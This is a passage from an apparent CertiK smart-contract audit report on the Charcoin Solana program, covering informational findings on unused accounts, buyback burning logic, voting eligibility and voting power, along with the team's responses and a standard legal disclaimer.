Recommend refactoring codes to ensure correct unstake cooling-off period is used in production environment.

Alleviation

[Charcoin, 06/27/2025]: The team heeded the advice and resolved the issue by removing test code in commit 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-34 | USELESS ACCOUNT IN INSTRUCTION

Category	Severity	Location	Status
Coding Style	Informational	programs/charcoin/src/governance.rs (pre(fb1d631)): 305~306; programs/charcoin/src/lib.rs (pre(fb1d631)): 329~330; programs/charcoin/src/staking.rs (pre(fb1d631)): 351~356	Partially Resolved

Description

The cited accounts in instruction isn't accessed within instruction.

Recommendation

Recommend removing the unused accounts in instruction.

Alleviation

[CertiK, 06/27/2025]: The team heeded the advice and partially resolved the issue in commit de5eaf880af19e35e7df0c7b79b1e9c3387c8f9b.

The issue still exists in `UnstakeRequest` instruction.

CHA-35 | THE DESIGN LOGIC OF BUYBACK MECHANISM

Category	Severity	Location	Status
Design Issue	Informational	programs/charcoin/src/burn.rs (pre(fb1d631)): 26	Acknowledged

Description

The following code is intended to implement a buyback deflationary system that reduces token circulation and increases the value of `CHAR` by burning the balance held in `death_wallet_ata`. However, due to the SPL token standard, any user can burn their own `CHAR` tokens using the Solana CLI or the `execute_buyback` instruction. This undermines the intended deflationary mechanism, rendering the buyback logic ineffective.

```
 93
// (Optionally, you might burn the death wallet funds via a separate burn function.)
 94      let transfer_death_wallet = CpiContext::new(
 95          ctx.accounts.token_program.to_account_info(),
 96          Transfer {
 97              from: ctx.accounts.source_ata.to_account_info(),
 98              to: ctx.accounts.death_wallet_ata.to_account_info(),
 99              authority: ctx.accounts.signer1.to_account_info(),
100          },
101      );
102      token::transfer(transfer_death_wallet, amount_death)?;
```

```
26  pub fn execute_buyback(
27      ctx: Context<ExecuteBuyback>,
28      fee_amount: u64,
29      conversion_rate: u64,
30  ) -> Result<()> {
31
32          ....
33
34  }
```

Recommendation

The audit team requests the development team to confirm:

1. Whether the current implementation aligns with the original design intent.
2. Whether burning is intended to be restricted exclusively to the `death_wallet_ata`.

Alleviation

[Charcoin, 06/27/2025]: The team acknowledged the issue. Moreover,

1. the `distribute_marketing_funds` function send char token to `death_wallet` and `death_wallet` calls `execute_buyback` to burn its balance.
2. adding validation logic to restrict only `death_wallet` can invoke `execute_buyback` instruction.

[CertiK, 06/27/2025]: Normal users can still burn their own `CHAR` assets.

CHA-36 POTENTIAL IMPROPER VOTING ELIGIBILITY CHECK IN `cast_vote` INSTRUCTION

Category	Severity	Location	Status
Logical Issue	Informational	programs/charcoin/src/donation.rs (v2(7c0b97a)): 91	Acknowledged

Description

The `cast_vote` instruction contains a voting eligibility check, potentially preventing valid votes. The relevant code snippet is:

```
require!(user.last_vote_time < charity.start_time, CharityError::VotingNotEligible);
```

Consider the following scenario:

1. Two charities exist: Charity A starts at time 0, and Charity B starts at time 10.
2. At time 5, the user votes for Charity B, resulting in `user.last_vote_time` being updated to 5. (The update for last_vote_time has another issue)
3. Due to the current check, the user is then unable to vote for Charity A.

Recommendation

We would like to confirm if the case has been considered and if it aligns with the intended design.

Alleviation

[Charcoin, 06/30/2025]: This has been considered, and it aligns with the intended design.

[CertiK, 06/30/2025]: The existing logic appears unclear and potentially inequitable. For example:

1. There are three charities—Charity A begins at time 0, Charity B at time 10, and Charity C at time 15.
2. If a user votes for Charity B at time 5, their `user.last_vote_time` becomes 5.
3. Under the current validation, this prevents the user from voting for Charity A, but still allows them to vote for Charity C.

[Charcoin, 07/07/2025]: Each monthly campaign on the CharCoin platform begins on the 1st day of the month and concludes on the 21st. All participating charities in a given campaign—such as Charity A, Charity B, and Charity C—are activated simultaneously on the 1st. This ensures a fair and synchronized voting period for all participants, allowing users to evaluate and support each cause under equal conditions throughout the active window of the campaign.

CHA-40 INCONSISTENCY BETWEEN CODE AND ERROR MESSAGE

Category	Severity	Location	Status
Coding Style	Informational	programs/charcoin/src/donation.rs (v2(7c0b97a)): 93~96	Resolved

Description

The following `require()` check condition is inconsistent with error message of `CharityError.VotingNotEligible` .

```
  91      require!(user.last_vote_time < charity.start_time,CharityError::
VotingNotEligible);
  92
  93      require!(
  94          amount_staked >= config_account.config.min_governance_stake,
// Minimum stake to vote
  95          CharityError::VotingNotEligible
  96      );
```

```
43      #[msg("User must have staked for at least 15 days to vote.")]
44      VotingNotEligible,
```

Recommendation

Recommend refactoring codes to ensure consistency between logic and error message.

Alleviation

[Charcoin, 07/01/2025]: The team heeded the advice and resolved the issue in commit de5eaf880af19e35e7df0c7b79b1e9c3387c8f9b.

CHA-41 | CONFIRMATION ON THE `voting_power`

Category	Severity	Location	Status
Design Issue	Informational	programs/charcoin/src/donation.rs (v3(de5eaf8)): 102~104	Resolved

Description

After voting, the user's `voting_power` is reduced by the amount of `char_points` used. The only way for a user to increase their `voting_power` is by staking additional tokens.

If a user depletes their available `voting_power`, they are unable to participate in further charity voting until they stake more tokens in the program.

Recommendation

Please confirm whether this mechanism is consistent with the intended design.

Alleviation

[Charcoin, 07/03/2025]: Yes, this is fully aligned with the intended design. The goal is to encourage users to stake their CHAR tokens in order to gain governance power through voting (CHAR VOTES) for the cause they care about most. New causes are introduced each month. Users are allowed to vote only once per campaign period (for this example and reference, a month), and when they cast their vote, all their available CHAR VOTES are transferred to the chosen cause. Once the vote is submitted, the user's CHAR VOTES balance is reset to zero. To regain voting power, the user must stake additional CHAR tokens. This mechanism is designed to create a healthy cycle where users earn rewards while gaining meaningful influence over which causes receive support. To protect from unwanted behaviour, users must hold their tokens in staking for at least 15 calendar days in order to receive their points.

APPENDIX | CHARCOIN - AUDIT

Finding Categories

Categories	Description
Coding Style	Coding Style findings may not affect code behavior, but indicate areas where coding practices can be improved to make the code more understandable and maintainable.
Coding Issue	Coding Issue findings are about general code quality including, but not limited to, coding mistakes, compile errors, and performance issues.
Access Control	Access Control findings are about security vulnerabilities that make protected assets unsafe.
Inconsistency	Inconsistency findings refer to different parts of code that are not consistent or code that does not behave according to its specification.
Volatile Code	Volatile Code findings refer to segments of code that behave unexpectedly on certain edge cases and may result in vulnerabilities.
Logical Issue	Logical Issue findings indicate general implementation issues related to the program logic.
Centralization	Centralization findings detail the design choices of designating privileged roles or other centralized controls over the code.
Design Issue	Design Issue findings indicate general issues at the design level beyond program logic that are not covered by other finding categories.

Checksum Calculation Method

The "Checksum" field in the "Audit Scope" section is calculated as the SHA-256 (Secure Hash Algorithm 2 with digest size of 256 bits) digest of the content of each file hosted in the listed source repository under the specified commit.

The result is hexadecimal encoded and is the same as the output of the Linux "sha256sum" command against the target file.

DISCLAIMER | CERTIK

This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without CertiK's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts CertiK to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. CertiK's position is that each company and individual are responsible for their own due diligence and continuous security. CertiK's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by CertiK is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, CERTIK HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, CERTIK SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, CERTIK MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE. WITHOUT LIMITATION TO THE FOREGOING, CERTIK PROVIDES NO WARRANTY OR

UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER CERTIK NOR ANY OF CERTIK'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. CERTIK WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT CERTIK'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF CERTIK CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.

Elevating Your Entire Web3 Journey

Founded in 2017 by leading academics in the field of Computer Science from both Yale and Columbia University, CertiK is a leading blockchain security company that serves to verify the security and correctness of smart contracts and blockchain-based protocols. Through the utilization of our world-class technical expertise, alongside our proprietary, innovative tech, we're able to support the success of our clients with best-in-class security, all whilst realizing our overarching vision; provable trust for all throughout all facets of blockchain.